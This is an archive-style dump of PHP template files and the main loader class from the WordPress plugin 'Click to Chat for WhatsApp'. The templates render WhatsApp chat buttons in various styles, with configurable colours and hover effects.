            onmouseover = "this.style.backgroundColor = '<?= $s8_background_color_onhover ?>', document.getElementsByClassName('ccw-s8-icon')[0].style.color = '<?= $s8_icon_color_onhover ?>', document.getElementsByClassName('ccw-s8-span')[0].style.color = '<?= $s8_text_color_onhover ?>' " 
            onmouseout  = "this.style.backgroundColor = '<?= $s8_background_color ?>', document.getElementsByClassName('ccw-s8-icon')[0].style.color = '<?= $s8_icon_color ?>', document.getElementsByClassName('ccw-s8-span')[0].style.color = '<?= $s8_text_color ?>' " 
            href="<?= $redirect_a ?>" >   
        <i class="material-icons <?= $s8_icon_float ?> icon icon-whatsapp2 ccw-s8-icon ccw-analytics" data-ccw="style-8" id="s8-icon" style="color: <?= $s8_icon_color ?> ;" ></i>
        <span class="ccw-s8-span ccw-analytics" id="s8-text" data-ccw="style-8" style="color: <?= $s8_text_color ?> ;" ><?= $val ?></span>
        </a>
    </div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-6.php000064400000003270147510273110021312 0ustar00<?php
/**
 * button with icon - circle
 */
if ( ! defined( 'ABSPATH' ) ) exit;

// $ccw_options_cs = get_option('ccw_options_cs');
$s6_color = esc_attr( $ccw_options_cs['s6_color'] );
$s6_hover_color = esc_attr( $ccw_options_cs['s6_hover_color'] );
$s6_icon_size = esc_attr( $ccw_options_cs['s6_icon_size'] );

$s6_circle_background_color = esc_attr( $ccw_options_cs['s6_circle_background_color'] );
$s6_circle_background_hover_color = esc_attr( $ccw_options_cs['s6_circle_background_hover_color'] );
$s6_circle_height = esc_attr( $ccw_options_cs['s6_circle_height'] );
$s6_circle_width = esc_attr( $ccw_options_cs['s6_circle_width'] );
$s6_line_height = esc_attr( $ccw_options_cs['s6_line_height'] );

$s6_css_icon = "color: $s6_color; font-size: $s6_icon_size;";
$s6_css_div = "background-color: $s6_circle_background_color; height: $s6_circle_height; width: $s6_circle_width; line-height: $s6_line_height;  ";
?>

<div class="ccw_plugin">
<div class="chatbot btn_only_style_div_circle pointer ccw-analytics animated <?= $an_on_load .' '. $an_on_hover ?>" id="style-6" data-ccw="style-6"
    style="<?= $p1 ?>; <?= $p2 ?>; <?= $s6_css_div ?>"
    onmouseover = "this.style.backgroundColor = '<?= $s6_circle_background_hover_color ?>', document.getElementsByClassName('ccw-s6-icon')[0].style.color = '<?= $s6_hover_color ?>' "
    onmouseout  = "this.style.backgroundColor = '<?= $s6_circle_background_color ?>', document.getElementsByClassName('ccw-s6-icon')[0].style.color = '<?= $s6_color ?>' "
    onclick = "<?= $redirect ?>" >
        <span class="icon icon-whatsapp2 ccw-s6-icon nofocus ccw-analytics" id="s6-icon" data-ccw="style-6" style="<?= $s6_css_icon ?>"></span>
</div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-1.php000064400000000543147510273110021305 0ustar00<?php
/**
 * Style-1 - new method. 
 *  default button, looks like theme.
 */

if ( ! defined( 'ABSPATH' ) ) exit;

?>
<div class="ccw_plugin chatbot" style="<?= $p1 ?>; <?= $p2 ?>;">
    <div class="style1 animated <?= $an_on_load .' '. $an_on_hover ?> ">
        <button onclick="<?= $redirect ?>"><?= $val ?></button>    
    </div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-2.php000064400000002112147510273110021300 0ustar00<?php
/**
 * plain link
 */

if ( ! defined( 'ABSPATH' ) ) exit;

// $ccw_options_cs = get_option('ccw_options_cs');
$s2_text_color = esc_attr( $ccw_options_cs['s2_text_color'] );
$s2_text_color_onhover = esc_attr( $ccw_options_cs['s2_text_color_onhover'] );
$s2_decoration = esc_attr( $ccw_options_cs['s2_decoration'] );
$s2_decoration_onhover = esc_attr( $ccw_options_cs['s2_decoration_onhover'] );
?>
<div class="ccw_plugin chatbot" style="<?= $p1 ?>; <?= $p2 ?>;">
    <div class="style2 animated <?= $an_on_load .' '. $an_on_hover ?> ">
        <a href="<?= $redirect_a ?>" rel="noreferrer" 
            style="color: <?= $s2_text_color ?>; text-decoration: <?= $s2_decoration ?>;"
            onmouseover = "this.style.color = '<?= $s2_text_color_onhover ?>', this.style.textDecoration = '<?= $s2_decoration_onhover ?>' "
            onmouseout  = "this.style.color = '<?= $s2_text_color ?>', this.style.textDecoration = '<?= $s2_decoration ?>' "
            target="_blank" class="nofocus ccw-analytics" id="style-2" data-ccw="style-2" ><?= $val ?></a>
    </div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-5.php000064400000001660147510273110021312 0ustar00<?php
/**
 * plan icon - similar to sytle-3, an icon
 */
if ( ! defined( 'ABSPATH' ) ) exit;

// $ccw_options_cs = get_option('ccw_options_cs');
$s5_color = esc_attr( $ccw_options_cs['s5_color'] );
$s5_hover_color = esc_attr( $ccw_options_cs['s5_hover_color'] );
$s5_icon_size = esc_attr( $ccw_options_cs['s5_icon_size'] );
?>
<div class="ccw_plugin">
    <div class="style-5 chatbot nofocus animated <?= $an_on_load .' '. $an_on_hover ?>" style="<?= $p1 ?>; <?= $p2 ?>;">
            <a target="_blank" class="nofocus icon icon-whatsapp2 icon-2 ccw-analytics" id="stye-5" data-ccw="style-5" 
                href="<?= $redirect_a ?>" rel="noreferrer" 
                style = "color: <?= $s5_color ?>; font-size: <?= $s5_icon_size ?>;"
                onmouseover = "this.style.color = '<?= $s5_hover_color ?>' "
                onmouseout  = "this.style.color = '<?= $s5_color ?>' " >   
            </a>
    </div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-99.php000064400000003732147510273110021411 0ustar00<?php
/**
 * Style - 99 - own image
 * user can add image
 * 
 * @var string $img_css  - adds css styles based on device, given width, height
 * @var string $own_image  - image url
 */

if ( ! defined( 'ABSPATH' ) ) exit;

// $ccw_options_cs = get_option('ccw_options_cs');
$s_99_img_height_desktop = esc_attr( $ccw_options_cs['s99_img_height_desktop'] );
$s_99_img_width_desktop = esc_attr( $ccw_options_cs['s99_img_width_desktop'] );
$s_99_img_height_mobile = esc_attr( $ccw_options_cs['s99_img_height_mobile'] );
$s_99_img_width_mobile = esc_attr( $ccw_options_cs['s99_img_width_mobile'] );

// img url
// image - width, height based on device
$img_css = "";

if( 1 == $is_mobile ) {
    // $own_image = esc_attr( $ccw_options_cs['s99_mobile_img'] );
    $own_image = esc_url( $ccw_options_cs['s99_mobile_img'] );

    if ( '' !== $s_99_img_height_mobile ) {
        $img_css .= "height: $s_99_img_height_mobile; ";
    }
    if ( '' !== $s_99_img_width_mobile ) {
        $img_css .= "width: $s_99_img_width_mobile; ";
    }
} else {
    // $own_image = esc_attr( $ccw_options_cs['s99_desktop_img'] );
    $own_image = esc_url( $ccw_options_cs['s99_desktop_img'] );

    if ( '' !== $s_99_img_height_desktop ) {
        $img_css .= "height: $s_99_img_height_desktop; ";
    }
    
    if ( '' !== $s_99_img_width_desktop ) {
        $img_css .= "width: $s_99_img_width_desktop; ";
    }
}

if ( '' == $own_image ) {
    $own_image = plugins_url( './new/inc/assets/img/whatsapp-logo.svg', HT_CTC_PLUGIN_FILE );
}

?>

<div class="ccw_plugin chatbot" style="<?= $p1 ?>; <?= $p2 ?>;">
    <div class="ccw_style_99 animated <?= $an_on_load .' '. $an_on_hover ?>">
        <a target="_blank" href="<?= $redirect_a ?>" rel="noreferrer" class="img-icon-a nofocus">   
            <img class="own-img ccw-analytics" id="style-9" data-ccw="style-99-own-image" style="<?= $img_css ?>" src="<?= $own_image ?>" alt="WhatsApp chat">
        </a>
    </div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-4.php000064400000001657147510273110021317 0ustar00<?php
/**
 * chip - logo+text
 */

if ( ! defined( 'ABSPATH' ) ) exit;

// $ccw_options_cs = get_option('ccw_options_cs');
$s4_text_color = esc_attr( $ccw_options_cs['s4_text_color'] );
$s4_background_color = esc_attr( $ccw_options_cs['s4_background_color'] );

?>
<div class="ccw_plugin chatbot" style="<?= $p1 ?>; <?= $p2 ?>;">
    <div class="style4 animated <?= $an_on_load .' '. $an_on_hover ?>">
        <a target="_blank" href="<?= $redirect_a ?>" rel="noreferrer" class="nofocus">
            <div class="chip style-4 ccw-analytics" id="style-4" data-ccw="style-4" style="background-color: <?= $s4_background_color ?>; color: <?= $s4_text_color ?>">
                <img src="<?= plugins_url( './new/inc/assets/img/whatsapp-logo-32x32.png', HT_CTC_PLUGIN_FILE ) ?>"  class="ccw-analytics" id="s4-icon" data-ccw="style-4" alt="WhatsApp">
                <?= $val ?>
            </div>
        </a>
    </div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list/style-3.php000064400000001267147510273110021313 0ustar00<?php
/**
 * logo
 */

if ( ! defined( 'ABSPATH' ) ) exit;

// $ccw_options_cs = get_option('ccw_options_cs');
$s3_icon_size = esc_attr( $ccw_options_cs['s3_icon_size'] );

?>
<div class="ccw_plugin chatbot" style="<?= $p1 ?>; <?= $p2 ?>;" >
    <div class="ccw_style3 animated <?= $an_on_load .' '. $an_on_hover ?> ">
        <a target="_blank" href="<?= $redirect_a ?>" rel="noreferrer" class="img-icon-a nofocus">   
            <img class="img-icon ccw-analytics" id="style-3" data-ccw="style-3" style="height: <?= $s3_icon_size ?>;" src="<?= plugins_url( "./new/inc/assets/img/whatsapp-logo.svg", HT_CTC_PLUGIN_FILE ) ?>" alt="WhatsApp chat">
        </a>
    </div>
</div>click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-3.php000064400000000774147510273110022323 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$s3_icon_size = esc_attr($a['s3_icon_size']);

$img_link = plugins_url("./new/inc/assets/img/whatsapp-logo.svg", HT_CTC_PLUGIN_FILE );


$s3_icon_size = $s3_icon_size;

$o .= '<div class="ccw_plugin '.$inline_issue.' ">';
$o .= '<img class="img-icon-sc sc_item pointer style-3-sc ccw-analytics" data-ccw="style-3-sc" src="'.$img_link.'" alt="WhatsApp chat" onclick="'.$img_click_link.'" style="height: '.$s3_icon_size.'; '.$css.' " >';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-4.php000064400000001410147510273110022310 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$s4_text_color = esc_attr($a['s4_text_color']);
$s4_background_color = esc_attr($a['s4_background_color']);


$s4_text_color = $s4_text_color;
$s4_background_color = $s4_background_color;

$img_link_s4 = plugins_url("./new/inc/assets/img/whatsapp-logo-32x32.png", HT_CTC_PLUGIN_FILE );

$o .= '<div class="ccw_plugin sc_item '.$inline_issue.' " style=" '.$css.' " >';
$o .= '<div class="style-4 chip pointer ccw-analytics" data-ccw="style-4-sc" style=" color: '.$s4_text_color.'; background-color: '.$s4_background_color.' " onclick="'.$img_click_link.'">';
$o .= '<img class="ccw-analytics" data-ccw="style-4-sc" src="'.$img_link_s4.'" alt="WhatsApp chat" >'.esc_attr($a["val"]).'';
$o .= '</div>';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-5.php000064400000001646147510273110022324 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$s5_color = esc_attr($a['s5_color']);
$s5_hover_color = esc_attr($a['s5_hover_color']);
$s5_icon_size = esc_attr($a['s5_icon_size']);

$s5_color = $s5_color;
$s5_hover_color = $s5_hover_color;
$s5_icon_size = $s5_icon_size;

$input_onhover = "this.style.color= '$s5_hover_color'; ";
$input_onhover_out = "this.style.color= '$s5_color'; ";

$o .= '<div class="ccw_plugin sc_item pointer '.$inline_issue.' " style=" '.$css.' color: '.$s5_color.';  "  onclick="'.$img_click_link.'"  onmouseover= " '.$input_onhover.' "  onmouseout= " '.$input_onhover_out.' " >';
$o .= '<span class="icon icon-whatsapp2 icon-2 ccw-analytics" data-ccw="style-5-sc" style=" font-size: '.$s5_icon_size.'; "></span>';
// $o .= '<a target="_blank" class="nofocus icon icon-whatsapp2 icon-2 no_a_underline ccw-analytics" rel="noreferrer" href="'.$redirect_a.'" >';
// $o .= '</a>';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-2.php000064400000002104147510273110022307 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$s2_text_color = esc_attr($a['s2_text_color']);
$s2_text_color_onhover = esc_attr($a['s2_text_color_onhover']);
$s2_decoration = esc_attr($a['s2_decoration']);
$s2_decoration_onhover = esc_attr($a['s2_decoration_onhover']);


$s2_text_color = $s2_text_color;
$s2_text_color_onhover = $s2_text_color_onhover;
$s2_decoration = $s2_decoration;
$s2_decoration_onhover = $s2_decoration_onhover;

$input_onhover = "this.style.color= '$s2_text_color_onhover', this.style.textDecoration= '$s2_decoration_onhover'; ";
$input_onhover_out = "this.style.color= '$s2_text_color', this.style.textDecoration= '$s2_decoration'; ";

$o .= '<div class="ccw_plugin inline style2-sc sc_item '.$inline_issue.' " style=" '.$css.' " >';
$o .= '<a class="nofocus ccw-analytics" rel="noreferrer" data-ccw="style-2-sc" href="'.$redirect_a.'" target="_blank" style=" color:'.$s2_text_color.'; text-decoration: '.$s2_decoration.'; "  onmouseover= " '.$input_onhover.' "  onmouseout= " '.$input_onhover_out.' " >'.esc_attr($a["val"]).'</a>';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-8.1.php000064400000003047147510273110022463 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

wp_enqueue_style('ccw_mdstyle8_css');

$s8_text_color = esc_attr($a['s8_text_color']);
$s8_background_color = esc_attr($a['s8_background_color']);
$s8_icon_color = esc_attr($a['s8_icon_color']);
$s8_text_color_onhover = esc_attr($a['s8_text_color_onhover']);
$s8_background_color_onhover = esc_attr($a['s8_background_color_onhover']);
$s8_icon_color_onhover = esc_attr($a['s8_icon_color_onhover']);
$s8_icon_float = esc_attr($a['s8_icon_float']);
$s8_1_width = esc_attr($a['s8_1_width']);


$s8_text_color = $s8_text_color;
$s8_background_color = $s8_background_color;
$s8_text_color_onhover = $s8_text_color_onhover;
$s8_background_color_onhover = $s8_background_color_onhover;
$s8_1_width = $s8_1_width;

$input_onhover = "this.style.backgroundColor= '$s8_background_color_onhover', this.childNodes[1].style.color= '$s8_text_color_onhover' ; ";
$input_onhover_out = "this.style.backgroundColor= '$s8_background_color', this.childNodes[1].style.color= '$s8_text_color' ; ";

$o .= '<div class="ccw_plugin sc_item '.$inline_issue.' " style=" '.$css.' " >';
$o .= '<a style="background-color: '.$s8_background_color.'; width: '.$s8_1_width.' " target="_blank" rel="noreferrer" href="'.$redirect_a.'" class="btn ccw-analytics"  onmouseover= " '.$input_onhover.' "  onmouseout= " '.$input_onhover_out.' "  >   ';
$o .= '<span style="color: '.$s8_text_color.';" class="ccw-s8-span-sc ccw-analytics" data-ccw="style-8-1-sc" id="ccw-s8-icon-sc" >'.esc_attr($a["val"]).'</span>';
$o .= '</a>';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-99.php000064400000002704147510273110022415 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$s_99_img_height_desktop = esc_attr($a['s99_img_height_desktop']);
$s_99_img_width_desktop = esc_attr($a['s99_img_width_desktop']);
$s_99_img_height_mobile = esc_attr($a['s99_img_height_mobile']);
$s_99_img_width_mobile = esc_attr($a['s99_img_width_mobile']);
$s_99_desktop_img = esc_attr($a['s99_desktop_img']);
$s_99_mobile_img = esc_attr($a['s99_mobile_img']);

// img url
// image - width, height based on device
$img_css = "";

if( 1 == $is_mobile ) {
    $own_image = $s_99_mobile_img;

    if ( '' !== $s_99_img_height_mobile ) {
        $img_css .= "height: $s_99_img_height_mobile; ";
    }
    if ( '' !== $s_99_img_width_mobile ) {
        $img_css .= "width: $s_99_img_width_mobile; ";
    }
} else {
    $own_image = $s_99_desktop_img;

    if ( '' !== $s_99_img_height_desktop ) {
        $img_css .= "height: $s_99_img_height_desktop; ";
    }
    
    if ( '' !== $s_99_img_width_desktop ) {
        $img_css .= "width: $s_99_img_width_desktop; ";
    }
}

if ( '' == $own_image ) {
    $own_image = plugins_url( './new/inc/assets/img/whatsapp-logo.svg', HT_CTC_PLUGIN_FILE );
}


$o .= '<div class="ccw_plugin pointer '.$inline_issue.' " style='.$css.'>';
$o .= '<img class="own-img-sc inline ccw-analytics" id="style-99-sc" data-ccw="style-99-sc-own-image" style=" '.$img_css.' " src=" '.$own_image.' " onclick="'.$img_click_link.'" alt="WhatsApp chat">';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-1.php000064400000000363147510273110022313 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$o .= '<div class="ccw_plugin inline style1-sc sc_item '.$inline_issue.' " style=" '.$css.' " >';
$o .= '<button onclick="'.$img_click_link.'">'.esc_attr($a["val"]).'</button>';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-6.php000064400000003254147510273110022322 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$s6_color = esc_attr($a['s6_color']);
$s6_hover_color = esc_attr($a['s6_hover_color']);
$s6_icon_size = esc_attr($a['s6_icon_size']);
$s6_circle_background_color = esc_attr($a['s6_circle_background_color']);
$s6_circle_background_hover_color = esc_attr($a['s6_circle_background_hover_color']);
$s6_circle_height = esc_attr($a['s6_circle_height']);
$s6_circle_width = esc_attr($a['s6_circle_width']);
$s6_line_height = esc_attr($a['s6_line_height']);


$s6_color = $s6_color;
$s6_hover_color = $s6_hover_color;
$s6_icon_size = $s6_icon_size;
$s6_circle_background_color = $s6_circle_background_color;
$s6_circle_background_hover_color = $s6_circle_background_hover_color;
$s6_circle_height = $s6_circle_height;
$s6_circle_width = $s6_circle_width;
$s6_line_height = $s6_line_height;

$input_onhover = "this.style.backgroundColor= '$s6_circle_background_hover_color', this.style.color= '$s6_hover_color'; ";
$input_onhover_out = "this.style.backgroundColor= '$s6_circle_background_color', this.style.color= '$s6_color'; ";

$o .= '<div class="ccw_plugin '.$inline_issue.' ">';
$o .= '<div style=" background-color: '.$s6_circle_background_color.'; color: '.$s6_color.'; height: '.$s6_circle_height.'; width: '.$s6_circle_width.'; line-height: '.$s6_line_height.';  '.$css.' "  class="btn_only_style_div_circle_sc inline-block pointer ccw-analytics"  onclick="'.$img_click_link.'"    onmouseover= " '.$input_onhover.' "  onmouseout= " '.$input_onhover_out.' " >';
$o .= '<span class="btn_only_style icon icon-whatsapp2 ccw-analytics" data-ccw="style-6-sc" style= "font-size: '.$s6_icon_size.' " ></span>';
$o .= '</div>';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-8.php000064400000003626147510273110022327 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

wp_enqueue_style('ccw_mdstyle8_css');

$s8_text_color = esc_attr($a['s8_text_color']);
$s8_background_color = esc_attr($a['s8_background_color']);
$s8_icon_color = esc_attr($a['s8_icon_color']);
$s8_text_color_onhover = esc_attr($a['s8_text_color_onhover']);
$s8_background_color_onhover = esc_attr($a['s8_background_color_onhover']);
$s8_icon_color_onhover = esc_attr($a['s8_icon_color_onhover']);
$s8_icon_float = esc_attr($a['s8_icon_float']);
$s8_1_width = esc_attr($a['s8_1_width']);


$s8_text_color = $s8_text_color;
$s8_background_color = $s8_background_color;
$s8_icon_color = $s8_icon_color;
$s8_text_color_onhover = $s8_text_color_onhover;
$s8_background_color_onhover = $s8_background_color_onhover;
$s8_icon_color_onhover = $s8_icon_color_onhover;
$s8_icon_float = $s8_icon_float;

$input_onhover = "this.style.backgroundColor= '$s8_background_color_onhover', this.childNodes[1].style.color= '$s8_icon_color_onhover', this.childNodes[2].style.color= '$s8_text_color_onhover' ; ";
$input_onhover_out = "this.style.backgroundColor= '$s8_background_color', this.childNodes[1].style.color= '$s8_icon_color', this.childNodes[2].style.color= '$s8_text_color' ; ";

$o .= '<div class="ccw_plugin mdstyle8 sc_item '.$inline_issue.' " style=" '.$css.' " >';
$o .= '<a style="background-color: '.$s8_background_color.';" target="_blank" rel="noreferrer" href="'.$redirect_a.'" class="btn ccw-analytics" data-ccw="style-8-sc"  onmouseover= " '.$input_onhover.' "  onmouseout= " '.$input_onhover_out.' "  >   ';
$o .= '<i class="material-icons '.$s8_icon_float.' icon icon-whatsapp2 ccw-s8-icon-sc ccw-analytics" data-ccw="style-8" style="color: '.$s8_icon_color.';" ></i>';
$o .= '<span style="color: '.$s8_text_color.';" class="ccw-s8-span-sc ccw-analytics" data-ccw="style-8-sc" id="ccw-s8-icon-sc" >'.esc_attr($a["val"]).'</span>';
$o .= '</a>';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-9.php000064400000000644147510273110022325 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$s9_icon_size = esc_attr($a['s9_icon_size']);


$s9_icon_size = $s9_icon_size;

$o .= '<div class="ccw_plugin '.$inline_issue.' ">';
$o .= '<img class="img-icon-sc sc_item pointer style-3-sc ccw-analytics" data-ccw="style-9-sc" src="'.$img_link_s9.'" alt="WhatsApp chat" onclick="'.$img_click_link.'" style="height: '.$s9_icon_size.'; '.$css.' " >';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/commons/styles-list-sc/sc-style-7.php000064400000003137147510273110022323 0ustar00<?php

if ( ! defined( 'ABSPATH' ) ) exit;

$s7_color = esc_attr($a['s7_color']);
$s7_hover_color = esc_attr($a['s7_hover_color']);
$s7_icon_size = esc_attr($a['s7_icon_size']);
$s7_box_background_color = esc_attr($a['s7_box_background_color']);
$s7_box_background_hover_color = esc_attr($a['s7_box_background_hover_color']);
$s7_box_height = esc_attr($a['s7_box_height']);
$s7_box_width = esc_attr($a['s7_box_width']);
$s7_line_height = esc_attr($a['s7_line_height']);


$s7_color = $s7_color;
$s7_hover_color = $s7_hover_color;
$s7_icon_size = $s7_icon_size;
$s7_box_background_color = $s7_box_background_color;
$s7_box_background_hover_color = $s7_box_background_hover_color;
$s7_box_height = $s7_box_height;
$s7_box_width = $s7_box_width;
$s7_line_height = $s7_line_height;

$input_onhover = "this.style.backgroundColor= '$s7_box_background_hover_color', this.style.color= '$s7_hover_color'; ";
$input_onhover_out = "this.style.backgroundColor= '$s7_box_background_color', this.style.color= '$s7_color'; ";

$o .= '<div class="ccw_plugin '.$inline_issue.' ">';
$o .= '<div style="background-color: '.$s7_box_background_color.'; color: '.$s7_color.'; height: '.$s7_box_height.'; width: '.$s7_box_width.'; line-height: '.$s7_line_height.'; '.$css.' " class="btn_only_style_div inline-block pointer ccw-analytics" data-ccw="style-7-sc" onclick="'.$img_click_link.'"   onmouseover= " '.$input_onhover.' "  onmouseout= " '.$input_onhover_out.' "  >';
$o .= '<span class="btn_only_style icon icon-whatsapp2 ccw-analytics" style= "font-size: '.$s7_icon_size.' " ></span>';
$o .= '</div>';
$o .= '</div>';click-to-chat-for-whatsapp/prev/inc/class-ht-ccw.php000064400000011144147510273110016327 0ustar00<?php
/**
 * Starter..
 * 
 * Include files - admin - front end 
 * 
 * add hooks
 * 
 * added variable to declare other instance if needed 
 * ( in some cases in this plugin, using static methods and calling with out creating instance )
 * 
 * @package CCW
 * @since 1.3 + ( later in 1.3 - made changes, but not created a new version )
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CCW' ) ) :

class HT_CCW {

    /**
     * singleton instance
     *
     * @var HT_CCW 
     */
    private static $instance = null;

    /**
     * wp_is_mobile - if true then 1, else 2
     *
     * @var int if mobile, tab .. then 1, else 2
     */
    public $device_type;

    /**
     * instance of HT_CCW_Variables
     * 
     * database values , .. . options .. 
     *
     * @var HT_CCW_Variables
     */
    public $variables = null;

    /**
     * main instance - HT_CCW
     *
     * @return HT_CCW instance
     * @since 1.0
     */
    public static function instance() {
        if ( is_null( self::$instance ) ) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    public function __clone() {
		wc_doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'click-to-chat-for-whatsapp' ), '1.0' );
    }
    
    public function __wakeup() {
		wc_doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'click-to-chat-for-whatsapp' ), '1.0' );
    }

    /**
     * constructor 
     * includes() -> include files
     * hooks()  -> run hooks 
     */
    public function __construct() {
        $this->basic();
        $this->includes();
        $this->hooks();
    }

    

    /**
     * add the basic things
     * calling this before include, initilize other things
     * because this things may useful before initilize other things
     *  e.g. include, initialize files based on device, user settings
     */
    private function basic() {

        include_once HT_CTC_PLUGIN_DIR .'prev/inc/commons/class-ht-ccw-ismobile.php';
        include_once HT_CTC_PLUGIN_DIR .'prev/inc/commons/class-ht-ccw-variables.php';
        
        $this->device_type = new HT_CCW_IsMobile();
        $this->variables = new HT_CCW_Variables();
    }

    

    /**
     * include plugin file
     */
    private function includes() {

        // include in admin and front pages
        include_once HT_CTC_PLUGIN_DIR .'prev/inc/class-ht-ccw-register.php';

        //  is_admin ? include file to admin area : include files to non-admin area 
        if ( is_admin() ) {
            include_once HT_CTC_PLUGIN_DIR . 'prev/admin/admin.php';
        } else {
            include_once HT_CTC_PLUGIN_DIR . 'prev/inc/class-ccw-add-styles-scripts.php';
            include_once HT_CTC_PLUGIN_DIR . 'prev/inc/class-ccw-shortcode.php';

            // include_once HT_CTC_PLUGIN_DIR . 'prev/inc/class-ht-ccw-floating-style.php';
            include_once HT_CTC_PLUGIN_DIR . 'prev/inc/class-ht-ccw-chat.php';
            
        }
    }



    /**
     * Register hooks - when plugin activate, deactivate, uninstall
     * commented deactivation, uninstall hook - its not needed as now
     * 
     * plugins_loaded  - Check Diff - uses when plugin updates.
     */
    private function hooks() {

        register_activation_hook( HT_CTC_PLUGIN_FILE, array( 'HT_CCW_Register', 'activate' )  );
        register_deactivation_hook( HT_CTC_PLUGIN_FILE, array( 'HT_CCW_Register', 'deactivate' )  );
        register_uninstall_hook(HT_CTC_PLUGIN_FILE, array( 'HT_CCW_Register', 'uninstall' ) );

        // initilaze classes
        if ( ! is_admin() ) {
            add_action( 'init', array( $this, 'init' ), 0 );
        }

        // enable shortcodes in widget area.
        add_filter('widget_text', 'do_shortcode');
        
        // add_filter( 'the_excerpt', 'do_shortcode');

        // settings page link
        add_filter( 'plugin_action_links_' . HT_CTC_PLUGIN_BASENAME, array( 'HT_CCW_Register', 'plugin_action_links' ) );

        // when plugin updated - check version diff
        add_action('plugins_loaded', array( 'HT_CCW_Register', 'version_check' ) );

    }




    /**
     * create instance
     * @uses this->hooks() - using init hook - priority 0
     */
    public function init() {
        
        // $this->variables = new HT_CCW_Variables();

        // $this->device_type = new HT_CCW_IsMobile();

        // $this->floating_style = new HT_CCW_Floating_Style();
        $this->floating_style = new HT_CCW_Chat();

    }



}

endif; // END class_exists check
© 2025 GrazzMean